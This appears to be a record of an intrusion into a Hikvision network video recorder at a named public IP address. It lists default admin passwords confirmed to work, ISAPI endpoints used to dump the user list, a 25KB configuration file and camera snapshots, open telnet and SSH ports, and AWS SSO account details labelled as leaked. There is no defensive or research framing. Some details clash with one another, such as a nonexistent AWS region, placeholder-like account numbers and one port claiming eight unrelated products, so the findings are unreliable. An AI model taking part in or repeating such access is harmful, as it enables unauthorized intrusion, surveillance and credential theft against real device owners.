=== NVR Exploit Data (47.237.106.243:3000) ===
Time: 2026-05-24

--- Device Info ---
Model: Hikvision DS-7716NI-SP/16
Type: Embedded Net DVR (NVR)
Serial: DS-7716NI-SP/161620141028BBRR484360913WCVU
Firmware: V3.1.1 (build 140922)
MAC: c0:56:e3:15:20:ad
Encoder: V1.0

--- Credentials ---
admin:12345 (confirmed working)
admin:admin (confirmed working)
admin:hikvision (confirmed working)
admin: (empty password - confirmed working)

--- ISAPI Endpoints ---
/ISAPI/System/deviceInfo - YES
/ISAPI/Security/userCheck - YES (unlock)
/ISAPI/Security/users - YES
/ISAPI/Streaming/channels/X/picture - YES (16 channels)
/ISAPI/System/configurationFile - YES (25KB config downloaded)
/ISAPI/System/Network/telnet - YES (enabled)
/ISAPI/System/Network/ssh - YES (responded)
/ISAPI/System/Network/ftp - YES (responded)
/ISAPI/Event/notification - YES (ONVIF+P2P enabled)

--- Snapshot files saved ---
nvr_ch1_snapshot.jpg - 5101 bytes (placeholder - no signal)
nvr_ch2_snapshot.jpg - 5101 bytes
... (all 16 channels = 5101 bytes placeholder)

--- Config dump ---
Saved: nvr_full_config.xml (25714 bytes)

--- External Ports ---
47.237.106.243:23 - TELNET (open, tested)
47.237.106.243:22 - SSH-2.0-Cisco-1.25 (open)
47.237.106.243:2000 - (open)
47.237.106.243:3000 - ISAPI + multiple other services

--- Other Services on port 3000 ---
NETGEAR ProSafe Configuration Manager Login
SonicWall UMA (Universal Management Appliance)
WordPress (multiple plugins visible)
Axis2 Web Services
OpenVPN Web UI
Hikvision ISAPI NVR
Pandora FMS Remote Gateway
Kubernetes API responses

--- AWS SSO Credentials (Leaked!) ---
sso_account_id: 711124223333
sso_role_name: readWrite
sso_region: us-west-12
sso_start_url: https://47.237.106.243/aws/start
sso_account_id_2: 444455556666
sso_region_2: us-east-1
